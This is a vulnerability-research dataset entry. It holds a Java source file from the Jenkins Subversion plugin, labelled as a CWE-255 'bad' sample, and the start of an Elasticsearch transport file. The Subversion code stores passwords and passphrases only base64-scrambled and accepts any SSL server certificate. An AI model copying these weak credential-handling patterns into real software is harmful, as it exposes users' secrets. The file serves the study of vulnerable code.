*/
private final Map<String,Credential> credentials = new Hashtable<String,Credential>();
/**
* Stores name of Subversion revision property to globally exclude
*/
private String globalExcludedRevprop = null;
private int workspaceFormat = SVNAdminAreaFactory.WC_FORMAT_14;
/**
* When set to true, repository URLs will be validated up to the first
* dollar sign which is encountered.
*/
private boolean validateRemoteUpToVar = false;
/**
* When set to {@code false}, then auth details will never be stored on disk.
* @since 1.27
*/
private boolean storeAuthToDisk = true;
/**
* Stores {@link SVNAuthentication} for a single realm.
*
* <p>
* {@link Credential} holds data in a persistence-friendly way,
* and it's capable of creating {@link SVNAuthentication} object,
* to be passed to SVNKit.
*/
public static abstract class Credential implements Serializable {
/**
*
*/
private static final long serialVersionUID = -3707951427730113110L;
/**
* @param kind
* One of the constants defined in {@link ISVNAuthenticationManager},
* indicating what subtype of {@link SVNAuthentication} is expected.
*/
public abstract SVNAuthentication createSVNAuthentication(String kind) throws SVNException;
}
/**
* Username/password based authentication.
*/
public static final class PasswordCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = -1676145651108866745L;
private final String userName;
private final String password; // scrambled by base64
public PasswordCredential(String userName, String password) {
this.userName = userName;
this.password = Scrambler.scramble(password);
}
@Override
public SVNAuthentication createSVNAuthentication(String kind) {
if(kind.equals(ISVNAuthenticationManager.SSH))
return new SVNSSHAuthentication(userName,Scrambler.descramble(password),-1,false);
else
return new SVNPasswordAuthentication(userName,Scrambler.descramble(password),false);
}
}
/**
* Public key authentication for Subversion over SSH.
*/
public static final class SshPublicKeyCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = -4649332611621900514L;
private final String userName;
private final String passphrase; // scrambled by base64
private final String id;
/**
* @param keyFile
* stores SSH private key. The file will be copied.
*/
public SshPublicKeyCredential(String userName, String passphrase, File keyFile) throws SVNException {
this.userName = userName;
this.passphrase = Scrambler.scramble(passphrase);
Random r = new Random();
StringBuilder buf = new StringBuilder();
for(int i=0;i<16;i++)
buf.append(Integer.toHexString(r.nextInt(16)));
this.id = buf.toString();
try {
File savedKeyFile = getKeyFile();
FileUtils.copyFile(keyFile,savedKeyFile);
setFilePermissions(savedKeyFile, "600");
} catch (IOException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to save private key").initCause(e));
}
}
/**
* Gets the location where the private key will be permanently stored.
*/
private File getKeyFile() {
File dir = new File(Hudson.getInstance().getRootDir(),"subversion-credentials");
if(dir.mkdirs()) {
// make sure the directory exists. if we created it, try to set the permission to 600
// since this is sensitive information
setFilePermissions(dir, "600");
}
return new File(dir,id);
}
/**
* Set the file permissions
*/
private boolean setFilePermissions(File file, String perms) {
try {
Chmod chmod = new Chmod();
chmod.setProject(new Project());
chmod.setFile(file);
chmod.setPerm(perms);
chmod.execute();
} catch (BuildException e) {
// if we failed to set the permission, that's fine.
LOGGER.log(Level.WARNING, "Failed to set permission of "+file,e);
return false;
}
return true;
}
@Override
public SVNSSHAuthentication createSVNAuthentication(String kind) throws SVNException {
if(kind.equals(ISVNAuthenticationManager.SSH)) {
try {
Channel channel = Channel.current();
String privateKey;
if(channel!=null) {
// remote
privateKey = channel.call(new Callable<String,IOException>() {
/**
*
*/
private static final long serialVersionUID = -3088632649290496373L;
public String call() throws IOException {
return FileUtils.readFileToString(getKeyFile(),"iso-8859-1");
}
});
} else {
privateKey = FileUtils.readFileToString(getKeyFile(),"iso-8859-1");
}
return new SVNSSHAuthentication(userName, privateKey.toCharArray(), Scrambler.descramble(passphrase),-1,false);
} catch (IOException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to load private key").initCause(e));
} catch (InterruptedException e) {
throw new SVNException(
SVNErrorMessage.create(SVNErrorCode.AUTHN_CREDS_UNAVAILABLE,"Unable to load private key").initCause(e));
}
} else
return null; // unknown
}
}
/**
* SSL client certificate based authentication.
*/
public static final class SslClientCertificateCredential extends Credential {
/**
*
*/
private static final long serialVersionUID = 5455755079546887446L;
private final Secret certificate;
private final String password; // scrambled by base64
public SslClientCertificateCredential(File certificate, String password) throws IOException {
this.password = Scrambler.scramble(password);
this.certificate = Secret.fromString(new String(Base64.encode(FileUtils.readFileToByteArray(certificate))));
}
@Override
public SVNAuthentication createSVNAuthentication(String kind) {
if(kind.equals(ISVNAuthenticationManager.SSL))
try {
SVNSSLAuthentication authentication = new SVNSSLAuthentication(
Base64.decode(certificate.getPlainText().toCharArray()),
Scrambler.descramble(password), false);
authentication.setCertificatePath("dummy"); // TODO: remove this JENKINS-19175 workaround
return authentication;
} catch (IOException e) {
throw new Error(e); // can't happen
}
else
return null; // unexpected authentication type
}
}
/**
* Remoting interface that allows remote {@link ISVNAuthenticationProvider}
* to read from local {@link DescriptorImpl#credentials}.
*/
interface RemotableSVNAuthenticationProvider extends Serializable {
Credential getCredential(SVNURL url, String realm);
/**
* Indicates that the specified credential worked.
*/
void acknowledgeAuthentication(String realm, Credential credential);
}
/**
* There's no point in exporting multiple {@link RemotableSVNAuthenticationProviderImpl} instances,
* so let's just use one instance.
*/
private transient final RemotableSVNAuthenticationProviderImpl remotableProvider = new RemotableSVNAuthenticationProviderImpl();
private final class RemotableSVNAuthenticationProviderImpl implements RemotableSVNAuthenticationProvider {
/**
*
*/
private static final long serialVersionUID = 1243451839093253666L;
public Credential getCredential(SVNURL url, String realm) {
for (SubversionCredentialProvider p : SubversionCredentialProvider.all()) {
Credential c = p.getCredential(url,realm);
if(c!=null) {
LOGGER.fine(String.format("getCredential(%s)=>%s by %s",realm,c,p));
return c;
}
}
LOGGER.fine(String.format("getCredential(%s)=>%s",realm,credentials.get(realm)));
return credentials.get(realm);
}
public void acknowledgeAuthentication(String realm, Credential credential) {
// this notification is only used on the project-local store.
}
/**
* When sent to the remote node, send a proxy.
*/
private Object writeReplace() {
return Channel.current().export(RemotableSVNAuthenticationProvider.class, this);
}
}
/**
* See {@link DescriptorImpl#createAuthenticationProvider(AbstractProject)}.
*/
static final class SVNAuthenticationProviderImpl implements ISVNAuthenticationProvider, ISVNAuthenticationOutcomeListener, Serializable {
/**
* Project-scoped authentication source. For historical reasons, can be null.
*/
private final RemotableSVNAuthenticationProvider local;
/**
* System-wide authentication source. Used as a fallback.
*/
private final RemotableSVNAuthenticationProvider global;
/**
* The {@link Credential} used to create the last {@link SVNAuthentication} that we've tried.
*/
private Credential lastCredential;
public SVNAuthenticationProviderImpl(RemotableSVNAuthenticationProvider local, RemotableSVNAuthenticationProvider global) {
this.global = global;
this.local = local;
}
private SVNAuthentication fromProvider(SVNURL url, String realm, String kind, RemotableSVNAuthenticationProvider src, String debugName) throws SVNException {
if (src==null) return null;
Credential cred = src.getCredential(url,realm);
LOGGER.fine(String.format("%s.requestClientAuthentication(%s,%s,%s)=>%s",debugName,kind,url,realm,cred));
this.lastCredential = cred;
if(cred!=null) return cred.createSVNAuthentication(kind);
return null;
}
public SVNAuthentication requestClientAuthentication(String kind, SVNURL url, String realm, SVNErrorMessage errorMessage, SVNAuthentication previousAuth, boolean authMayBeStored) {
try {
SVNAuthentication auth=fromProvider(url,realm,kind,local,"local");
// first try the local credential, then the global credential.
if (auth==null || compareSVNAuthentications(auth,previousAuth))
auth = fromProvider(url,realm,kind,global,"global");
if(previousAuth!=null && compareSVNAuthentications(auth,previousAuth)) {
// See HUDSON-2909
// this comparison is necessary, unlike the original fix of HUDSON-2909, since SVNKit may use
// other ISVNAuthenticationProviders and their failed auth might be passed to us.
// see HUDSON-3936
LOGGER.log(FINE, "Previous authentication attempt failed, so aborting: {0}", previousAuth);
return null;
}
if(auth==null && ISVNAuthenticationManager.USERNAME.equals(kind)) {
// this happens with file:// URL and svn+ssh (in this case this method gets invoked twice.)
// The base class does this, too.
// user auth shouldn't be null.
return new SVNUserNameAuthentication("",false);
}
return auth;
} catch (SVNException e) {
LOGGER.log(Level.SEVERE, "Failed to authorize",e);
throw new RuntimeException("Failed to authorize",e);
}
}
public void acknowledgeAuthentication(boolean accepted, String kind, String realm, SVNErrorMessage errorMessage, SVNAuthentication authentication) throws SVNException {
if (accepted && local!=null && lastCredential!=null)
local.acknowledgeAuthentication(realm,lastCredential);
}
public int acceptServerAuthentication(SVNURL url, String realm, Object certificate, boolean resultMayBeStored) {
return ACCEPTED_TEMPORARY;
}
private static final long serialVersionUID = 1L;
}
@Override
public SCM newInstance(StaplerRequest staplerRequest, JSONObject jsonObject) throws FormException {
return super.newInstance(staplerRequest, jsonObject);
}
public DescriptorImpl() {
super(SubversionRepositoryBrowser.class);
load();
}
@SuppressWarnings("unchecked")
protected DescriptorImpl(Class clazz, Class<? extends RepositoryBrowser> repositoryBrowser) {
super(clazz,repositoryBrowser);
}
public String getDisplayName() {
return "Subversion";
}
public String getGlobalExcludedRevprop() {
return globalExcludedRevprop;
}
public int getWorkspaceFormat() {
if (workspaceFormat==0)
return SVNAdminAreaFactory.WC_FORMAT_14; // default
return workspaceFormat;
}
public boolean isValidateRemoteUpToVar() {
return validateRemoteUpToVar;
}
public boolean isStoreAuthToDisk() {
return storeAuthToDisk;
}
@Override
public boolean configure(StaplerRequest req, JSONObject formData) throws FormException {
globalExcludedRevprop = fixEmptyAndTrim(
req.getParameter("svn.global_excluded_revprop"));
workspaceFormat = Integer.parseInt(req.getParameter("svn.workspaceFormat"));
validateRemoteUpToVar = formData.containsKey("validateRemoteUpToVar");
storeAuthToDisk = formData.containsKey("storeAuthToDisk");
// Save configuration
save();
return super.configure(req, formData);
}
@Override
public boolean isBrowserReusable(SubversionSCM x, SubversionSCM y) {
ModuleLocation[] xl = x.getLocations(), yl = y.getLocations();
if (xl.length != yl.length) return false;
for (int i = 0; i < xl.length; i++)
if (!xl[i].getURL().equals(yl[i].getURL())) return false;
return true;
}
/**
* Creates {@link ISVNAuthenticationProvider} backed by {@link #credentials}.
* This method must be invoked on the master, but the returned object is remotable.
*
* <p>
* Therefore, to access {@link ISVNAuthenticationProvider}, you need to call this method
* on the master, then pass the object to the slave side, then call
* {@link SubversionSCM#createSvnClientManager(ISVNAuthenticationProvider)} on the slave.
*
* @see SubversionSCM#createSvnClientManager(ISVNAuthenticationProvider)
*/
public ISVNAuthenticationProvider createAuthenticationProvider(AbstractProject<?,?> inContextOf) {
return new SVNAuthenticationProviderImpl(
inContextOf==null ? null : new PerJobCredentialStore(inContextOf),remotableProvider);
}
/**
* @deprecated as of 1.18
* Now that Hudson allows different credentials to be given in different jobs,
* The caller should use {@link #createAuthenticationProvider(AbstractProject)} to indicate
* the project in which the subversion operation is performed.
*/
public ISVNAuthenticationProvider createAuthenticationProvider() {
return new SVNAuthenticationProviderImpl(null,remotableProvider);
}
/**
* Submits the authentication info.
*/
// TODO: stapler should do multipart/form-data handling
public void doPostCredential(StaplerRequest req, StaplerResponse rsp) throws IOException, ServletException {
Hudson.getInstance().checkPermission(Item.CONFIGURE);
MultipartFormDataParser parser = new MultipartFormDataParser(req);
// we'll record what credential we are trying here.
StringWriter log = new StringWriter();
PrintWriter logWriter = new PrintWriter(log);
UserProvidedCredential upc = UserProvidedCredential.fromForm(req,parser);
try {
postCredential(parser.get("url"), upc, logWriter);
rsp.sendRedirect("credentialOK");
} catch (SVNException e) {
logWriter.println("FAILED: "+e.getErrorMessage());
req.setAttribute("message",log.toString());
req.setAttribute("pre",true);
req.setAttribute("exception",e);
rsp.forward(Hudson.getInstance(),"error",req);
} finally {
upc.close();
}
}
/**
* @deprecated as of 1.18
* Use {@link #postCredential(AbstractProject, String, String, String, File, PrintWriter)}
*/
public void postCredential(String url, String username, String password, File keyFile, PrintWriter logWriter) throws SVNException, IOException {
postCredential(null,url,username,password,keyFile,logWriter);
}
public void postCredential(AbstractProject inContextOf, String url, String username, String password, File keyFile, PrintWriter logWriter) throws SVNException, IOException {
postCredential(url,new UserProvidedCredential(username,password,keyFile,inContextOf),logWriter);
}
/**
* Submits the authentication info.
*
* This code is fairly ugly because of the way SVNKit handles credentials.
*/
public void postCredential(String url, final UserProvidedCredential upc, PrintWriter logWriter) throws SVNException, IOException {
SVNRepository repository = null;
try {
// the way it works with SVNKit is that
// 1) svnkit calls AuthenticationManager asking for a credential.
// this is when we can see the 'realm', which identifies the user domain.
// 2) DefaultSVNAuthenticationManager returns the username and password we set below
// 3) if the authentication is successful, svnkit calls back acknowledgeAuthentication
// (so we store the password info here)
repository = SVNRepositoryFactory.create(SVNURL.parseURIDecoded(url));
repository.setTunnelProvider( createDefaultSVNOptions() );
AuthenticationManagerImpl authManager = upc.new AuthenticationManagerImpl(logWriter) {
@Override
protected void onSuccess(String realm, Credential cred) {
LOGGER.info("Persisted "+cred+" for "+realm);
credentials.put(realm, cred);
save();
if (upc.inContextOf!=null)
new PerJobCredentialStore(upc.inContextOf).acknowledgeAuthentication(realm,cred);
}
};
authManager.setAuthenticationForced(true);
repository.setAuthenticationManager(authManager);
repository.testConnection();
authManager.checkIfProtocolCompleted();
} finally {
if (repository != null)
repository.closeSession();
}
}
/**
* validate the value for a remote (repository) location.
*/
public FormValidation doCheckRemote(StaplerRequest req, @AncestorInPath AbstractProject context, @QueryParameter String value) {
// syntax check first
String url = Util.fixEmptyAndTrim(value);
if (url == null)
return FormValidation.error(Messages.SubversionSCM_doCheckRemote_required());
if(isValidateRemoteUpToVar()) {
url = (url.indexOf('$') != -1) ? url.substring(0, url.indexOf('$')) : url;
} else {
url = new EnvVars(EnvVars.masterEnvVars).expand(url);
}
if(!URL_PATTERN.matcher(url).matches())
return FormValidation.errorWithMarkup(
Messages.SubversionSCM_doCheckRemote_invalidUrl());
// Test the connection only if we have job cuonfigure permission
if (!Hudson.getInstance().hasPermission(Item.CONFIGURE))
return FormValidation.ok();
try {
String urlWithoutRevision = SvnHelper.getUrlWithoutRevision(url);
SVNURL repoURL = SVNURL.parseURIDecoded(urlWithoutRevision);
if (checkRepositoryPath(context,repoURL)!=SVNNodeKind.NONE) {
// something exists; now check revision if any
SVNRevision revision = getRevisionFromRemoteUrl(url);
if (revision != null && !revision.isValid()) {
return FormValidation.errorWithMarkup(Messages.SubversionSCM_doCheckRemote_invalidRevision());
}
return FormValidation.ok();
}
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
long rev = repository.getLatestRevision();
// now go back the tree and find if there's anything that exists
String repoPath = getRelativePath(repoURL, repository);
String p = repoPath;
while(p.length()>0) {
p = SVNPathUtil.removeTail(p);
if(repository.checkPath(p,rev)==SVNNodeKind.DIR) {
// found a matching path
List<SVNDirEntry> entries = new ArrayList<SVNDirEntry>();
repository.getDir(p,rev,false,entries);
// build up the name list
List<String> paths = new ArrayList<String>();
for (SVNDirEntry e : entries)
if(e.getKind()==SVNNodeKind.DIR)
paths.add(e.getName());
String head = SVNPathUtil.head(repoPath.substring(p.length() + 1));
String candidate = EditDistance.findNearest(head,paths);
return FormValidation.error(
Messages.SubversionSCM_doCheckRemote_badPathSuggest(p, head,
candidate != null ? "/" + candidate : ""));
}
}
return FormValidation.error(
Messages.SubversionSCM_doCheckRemote_badPath(repoPath));
} finally {
if (repository != null)
repository.closeSession();
}
} catch (SVNException e) {
LOGGER.log(Level.INFO, "Failed to access subversion repository "+url,e);
String message = Messages.SubversionSCM_doCheckRemote_exceptionMsg1(
Util.escape(url), Util.escape(e.getErrorMessage().getFullMessage()),
"javascript:document.getElementById('svnerror').style.display='block';"
+ "document.getElementById('svnerrorlink').style.display='none';"
+ "return false;")
+ "<br/><pre id=\"svnerror\" style=\"display:none\">"
+ Functions.printThrowable(e) + "</pre>"
+ Messages.SubversionSCM_doCheckRemote_exceptionMsg2(
"descriptorByName/"+SubversionSCM.class.getName()+"/enterCredential?" + url);
return FormValidation.errorWithMarkup(message);
}
}
public SVNNodeKind checkRepositoryPath(AbstractProject context, SVNURL repoURL) throws SVNException {
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
repository.testConnection();
long rev = repository.getLatestRevision();
String repoPath = getRelativePath(repoURL, repository);
return repository.checkPath(repoPath, rev);
} finally {
if (repository != null)
repository.closeSession();
}
}
protected SVNRepository getRepository(AbstractProject context, SVNURL repoURL) throws SVNException {
SVNRepository repository = SVNRepositoryFactory.create(repoURL);
ISVNAuthenticationManager sam = createSvnAuthenticationManager(createAuthenticationProvider(context));
sam = new FilterSVNAuthenticationManager(sam) {
// If there's no time out, the blocking read operation may hang forever, because TCP itself
// has no timeout. So always use some time out. If the underlying implementation gives us some
// value (which may come from ~/.subversion), honor that, as long as it sets some timeout value.
@Override
public int getReadTimeout(SVNRepository repository) {
int r = super.getReadTimeout(repository);
if(r<=0) r = DEFAULT_TIMEOUT;
return r;
}
};
repository.setTunnelProvider(createDefaultSVNOptions());
repository.setAuthenticationManager(sam);
return repository;
}
public static String getRelativePath(SVNURL repoURL, SVNRepository repository) throws SVNException {
String repoPath = repoURL.getPath().substring(repository.getRepositoryRoot(false).getPath().length());
if(!repoPath.startsWith("/")) repoPath="/"+repoPath;
return repoPath;
}
/**
* validate the value for a local location (local checkout directory).
*/
public FormValidation doCheckLocal(@QueryParameter String value) throws IOException, ServletException {
String v = Util.nullify(value);
if (v == null)
// local directory is optional so this is ok
return FormValidation.ok();
v = v.trim();
// check if a absolute path has been supplied
// (the last check with the regex will match windows drives)
if (v.startsWith("/") || v.startsWith("\\") || v.startsWith("..") || v.matches("^[A-Za-z]:.*"))
return FormValidation.error("absolute path is not allowed");
// all tests passed so far
return FormValidation.ok();
}
/**
* Validates the excludeRegions Regex
*/
public FormValidation doCheckExcludedRegions(@QueryParameter String value) throws IOException, ServletException {
for (String region : Util.fixNull(value).trim().split("[\\r\\n]+"))
try {
Pattern.compile(region);
} catch (PatternSyntaxException e) {
return FormValidation.error("Invalid regular expression. " + e.getMessage());
}
return FormValidation.ok();
}
/**
* Validates the includedRegions Regex
*/
public FormValidation doCheckIncludedRegions(@QueryParameter String value) throws IOException, ServletException {
return doCheckExcludedRegions(value);
}
/**
* Regular expression for matching one username. Matches 'windows' names ('DOMAIN\user') and
* 'normal' names ('user'). Where user (and DOMAIN) has one or more characters in 'a-zA-Z_0-9')
*/
private static final Pattern USERNAME_PATTERN = Pattern.compile("(\\w+\\\\)?+(\\w+)");
/**
* Validates the excludeUsers field
*/
public FormValidation doCheckExcludedUsers(@QueryParameter String value) throws IOException, ServletException {
for (String user : Util.fixNull(value).trim().split("[\\r\\n]+")) {
user = user.trim();
if ("".equals(user)) {
continue;
}
if (!USERNAME_PATTERN.matcher(user).matches()) {
return FormValidation.error("Invalid username: " + user);
}
}
return FormValidation.ok();
}
public List<WorkspaceUpdaterDescriptor> getWorkspaceUpdaterDescriptors() {
return WorkspaceUpdaterDescriptor.all();
}
/**
* Validates the excludeCommitMessages field
*/
public FormValidation doCheckExcludedCommitMessages(@QueryParameter String value) throws IOException, ServletException {
for (String message : Util.fixNull(value).trim().split("[\\r\\n]+")) {
try {
Pattern.compile(message);
} catch (PatternSyntaxException e) {
return FormValidation.error("Invalid regular expression. " + e.getMessage());
}
}
return FormValidation.ok();
}
/**
* Validates the remote server supports custom revision properties
*/
public FormValidation doCheckRevisionPropertiesSupported(@AncestorInPath AbstractProject context, @QueryParameter String value) throws IOException, ServletException {
String v = Util.fixNull(value).trim();
if (v.length() == 0)
return FormValidation.ok();
// Test the connection only if we have admin permission
if (!Hudson.getInstance().hasPermission(Hudson.ADMINISTER))
return FormValidation.ok();
try {
SVNURL repoURL = SVNURL.parseURIDecoded(new EnvVars(EnvVars.masterEnvVars).expand(v));
if (checkRepositoryPath(context,repoURL)!=SVNNodeKind.NONE)
// something exists
return FormValidation.ok();
SVNRepository repository = null;
try {
repository = getRepository(context,repoURL);
if (repository.hasCapability(SVNCapability.LOG_REVPROPS))
return FormValidation.ok();
} finally {
if (repository != null)
repository.closeSession();
}
} catch (SVNException e) {
String message="";
message += "Unable to access "+Util.escape(v)+" : "+Util.escape( e.getErrorMessage().getFullMessage());
LOGGER.log(Level.INFO, "Failed to access subversion repository "+v,e);
return FormValidation.errorWithMarkup(message);
}
return FormValidation.warning(Messages.SubversionSCM_excludedRevprop_notSupported(v));
}
static {
new Initializer();
}
}
/**
* @deprecated 1.34
*/
public boolean repositoryLocationsNoLongerExist(AbstractBuild<?,?> build, TaskListener listener) {
return repositoryLocationsNoLongerExist(build, listener, null);
}
/**
* @since 1.34
*/
public boolean repositoryLocationsNoLongerExist(AbstractBuild<?,?> build, TaskListener listener, EnvVars env) {
PrintStream out = listener.getLogger();
for (ModuleLocation l : getLocations(env, build))
try {
if (getDescriptor().checkRepositoryPath(build.getProject(), l.getSVNURL()) == SVNNodeKind.NONE) {
out.println("Location '" + l.remote + "' does not exist");
ParametersAction params = build.getAction(ParametersAction.class);
if (params != null) {
// since this is used to disable projects, be conservative
LOGGER.fine("Location could be expanded on build '" + build
+ "' parameters values:");
return false;
}
return true;
}
} catch (SVNException e) {
// be conservative, since we are just trying to be helpful in detecting
// non existent locations. If we can't detect that, we'll do nothing
LOGGER.log(FINE, "Location check failed",e);
}
return false;
}
static final Pattern URL_PATTERN = Pattern.compile("(https?|svn(\\+[a-z0-9]+)?|file)://.+");
private static final long serialVersionUID = 1L;
// noop, but this forces the initializer to run.
public static void init() {}
static {
new Initializer();
}
private static final class Initializer {
static {
if(Boolean.getBoolean("hudson.spool-svn"))
DAVRepositoryFactory.setup(new DefaultHTTPConnectionFactory(null,true,null));
else
DAVRepositoryFactory.setup(); // http, https
SVNRepositoryFactoryImpl.setup(); // svn, svn+xxx
FSRepositoryFactory.setup(); // file
// disable the connection pooling, which causes problems like
// http://www.nabble.com/SSH-connection-problems-p12028339.html
if(System.getProperty("svnkit.ssh2.persistent")==null)
System.setProperty("svnkit.ssh2.persistent","false");
// push Negotiate to the end because it requires a valid Kerberos configuration.
// see HUDSON-8153
if(System.getProperty("svnkit.http.methods")==null)
System.setProperty("svnkit.http.methods","Digest,Basic,NTLM,Negotiate");
// use SVN1.4 compatible workspace by default.
SVNAdminAreaFactory.setSelector(new SubversionWorkspaceSelector());
}
}
/**
* small structure to store local and remote (repository) location
* information of the repository. As a addition it holds the invalid field
* to make failure messages when doing a checkout possible
*/
@ExportedBean
public static final class ModuleLocation implements Serializable {
/**
* Subversion URL to check out.
*
* This may include "@NNN" at the end to indicate a fixed revision.
*/
@Exported
public final String remote;
/**
* Remembers the user-given value.
* Can be null.
*
* @deprecated
* Code should use {@link #getLocalDir()}. This field is only intended for form binding.
*/
@Exported
public final String local;
/**
* Subversion remote depth. Used as "--depth" option for checkout and update commands.
* Default value is "infinity".
*/
@Exported
public final String depthOption;
/**
* Flag to ignore subversion externals definitions.
*/
@Exported
public boolean ignoreExternalsOption;
/**
* Cache of the repository UUID.
*/
private transient volatile UUID repositoryUUID;
private transient volatile SVNURL repositoryRoot;
/**
* Constructor to support backwards compatibility.
*/
public ModuleLocation(String remote, String local) {
this(remote, local, null, false);
}
@DataBoundConstructor
public ModuleLocation(String remote, String local, String depthOption, boolean ignoreExternalsOption) {
this.remote = Util.removeTrailingSlash(Util.fixNull(remote).trim());
this.local = fixEmptyAndTrim(local);
this.depthOption = StringUtils.isEmpty(depthOption) ? SVNDepth.INFINITY.getName() : depthOption;
this.ignoreExternalsOption = ignoreExternalsOption;
}
/**
* Local directory to place the file to.
* Relative to the workspace root.
*/
public String getLocalDir() {
if(local==null)
return getLastPathComponent(getURL());
return local;
}
/**
* Returns the pure URL portion of {@link #remote} by removing
* possible "@NNN" suffix.
*/
public String getURL() {
return SvnHelper.getUrlWithoutRevision(remote);
}
/**
* Gets {@link #remote} as {@link SVNURL}.
*/
public SVNURL getSVNURL() throws SVNException {
return SVNURL.parseURIEncoded(getURL());
}
/**
* Repository UUID. Lazy computed and cached.
*/
public UUID getUUID(AbstractProject context) throws SVNException {
if(repositoryUUID==null || repositoryRoot==null) {
synchronized (this) {
SVNRepository r = openRepository(context);
r.testConnection(); // make sure values are fetched
repositoryUUID = UUID.fromString(r.getRepositoryUUID(false));
repositoryRoot = r.getRepositoryRoot(false);
}
}
return repositoryUUID;
}
public SVNRepository openRepository(AbstractProject context) throws SVNException {
return Hudson.getInstance().getDescriptorByType(DescriptorImpl.class).getRepository(context,getSVNURL());
}
public SVNURL getRepositoryRoot(AbstractProject context) throws SVNException {
getUUID(context);
return repositoryRoot;
}
/**
* Figures out which revision to check out.
*
* If {@link #remote} is {@code url@rev}, then this method
* returns that specific revision.
*
* @param defaultValue
* If "@NNN" portion is not in the URL, this value will be returned.
* Normally, this is the SVN revision timestamped at the build date.
*/
public SVNRevision getRevision(SVNRevision defaultValue) {
SVNRevision revision = getRevisionFromRemoteUrl(remote);
return revision != null ? revision : defaultValue;
}
/**
* Returns the value of remote depth option.
*
* @return the value of remote depth option.
*/
public String getDepthOption() {
return depthOption;
}
/**
* Determines if subversion externals definitions should be ignored.
*
* @return true if subversion externals definitions should be ignored.
*/
public boolean isIgnoreExternalsOption() {
return ignoreExternalsOption;
}
/**
* Expand location value based on Build parametric execution.
*
* @param build Build instance for expanding parameters into their values
* @return Output ModuleLocation expanded according to Build parameters values.
* @deprecated Use {@link #getExpandedLocation(EnvVars)} for vars expansion
* to be performed on all env vars rather than just build parameters.
*/
public ModuleLocation getExpandedLocation(AbstractBuild<?, ?> build) {
EnvVars env = new EnvVars(EnvVars.masterEnvVars);
env.putAll(build.getBuildVariables());
return getExpandedLocation(env);
}
/**
* Expand location value based on environment variables.
*
* @return Output ModuleLocation expanded according to specified env vars.
*/
public ModuleLocation getExpandedLocation(EnvVars env) {
return new ModuleLocation(env.expand(remote), env.expand(getLocalDir()), getDepthOption(), isIgnoreExternalsOption());
}
@Override
public String toString() {
return remote;
}
private static final long serialVersionUID = 1L;
public static List<ModuleLocation> parse(String[] remoteLocations, String[] localLocations, String[] depthOptions, boolean[] isIgnoreExternals) {
List<ModuleLocation> modules = new ArrayList<ModuleLocation>();
if (remoteLocations != null && localLocations != null) {
int entries = Math.min(remoteLocations.length, localLocations.length);
for (int i = 0; i < entries; i++) {
// the remote (repository) location
String remoteLoc = Util.nullify(remoteLocations[i]);
if (remoteLoc != null) {// null if skipped
remoteLoc = Util.removeTrailingSlash(remoteLoc.trim());
modules.add(new ModuleLocation(remoteLoc, Util.nullify(localLocations[i]),
depthOptions != null ? depthOptions[i] : null,
isIgnoreExternals != null && isIgnoreExternals[i]));
}
}
}
return modules;
}
}
private static final Logger LOGGER = Logger.getLogger(SubversionSCM.class.getName());
/**
* Network timeout in milliseconds.
* The main point of this is to prevent infinite hang, so it should be a rather long value to avoid
* accidental time out problem.
*/
public static int DEFAULT_TIMEOUT = Integer.getInteger(SubversionSCM.class.getName()+".timeout",3600*1000);
/**
* Property to control whether SCM polling happens from the slave or master
*/
private static boolean POLL_FROM_MASTER = Boolean.getBoolean(SubversionSCM.class.getName()+".pollFromMaster");
/**
* If set to non-null, read configuration from this directory instead of "~/.subversion".
*/
public static String CONFIG_DIR = System.getProperty(SubversionSCM.class.getName()+".configDir");
/**
* Enables trace logging of Ganymed SSH library.
* <p>
* Intended to be invoked from Groovy console.
*/
public static void enableSshDebug(Level level) {
if(level==null) level= Level.FINEST; // default
final Level lv = level;
com.trilead.ssh2.log.Logger.enabled=true;
com.trilead.ssh2.log.Logger.logger = new DebugLogger() {
private final Logger LOGGER = Logger.getLogger(SCPClient.class.getPackage().getName());
public void log(int level, String className, String message) {
LOGGER.log(lv,className+' '+message);
}
};
}
/*package*/ static boolean compareSVNAuthentications(SVNAuthentication a1, SVNAuthentication a2) {
if (a1==null && a2==null) return true;
if (a1==null || a2==null) return false;
if (a1.getClass()!=a2.getClass()) return false;
try {
return describeBean(a1).equals(describeBean(a2));
} catch (IllegalAccessException e) {
return false;
} catch (InvocationTargetException e) {
return false;
} catch (NoSuchMethodException e) {
return false;
}
}
/**
* In preparation for a comparison, char[] needs to be converted that supports value equality.
*/
@SuppressWarnings("unchecked")
private static Map describeBean(Object o) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException {
Map<?,?> m = PropertyUtils.describe(o);
for (Entry e : m.entrySet()) {
Object v = e.getValue();
if (v instanceof char[]) {
char[] chars = (char[]) v;
e.setValue(new String(chars));
}
}
return m;
}
/**
* Gets the revision from a remote URL - i.e. the part after '@' if any
*
* @return the revision or null
*/
private static SVNRevision getRevisionFromRemoteUrl(
String remoteUrlPossiblyWithRevision) {
int idx = remoteUrlPossiblyWithRevision.lastIndexOf('@');
int slashIdx = remoteUrlPossiblyWithRevision.lastIndexOf('/');
if (idx > 0 && idx > slashIdx) {
String n = remoteUrlPossiblyWithRevision.substring(idx + 1);
return SVNRevision.parse(n);
}
return null;
}
}
|
./CrossVul/dataset_final_sorted/CWE-255/java/bad_5796_0
|
crossvul-java_data_good_1678_3
|
/*
* Licensed to Elasticsearch under one or more contributor
* license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright
* ownership. Elasticsearch licenses this file to you under
* the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.elasticsearch.transport.netty;
import org.elasticsearch.Version;
import org.elasticsearch.common.bytes.BytesReference;
import org.elasticsearch.common.bytes.ReleasableBytesReference;
import org.elasticsearch.common.compress.CompressorFactory;
import org.elasticsearch.common.io.ThrowableObjectOutputStream;
import org.elasticsearch.common.io.stream.BytesStreamOutput;
import org.elasticsearch.common.io.stream.HandlesStreamOutput;
import org.elasticsearch.common.io.stream.ReleasableBytesStreamOutput;
import org.elasticsearch.common.io.stream.StreamOutput;
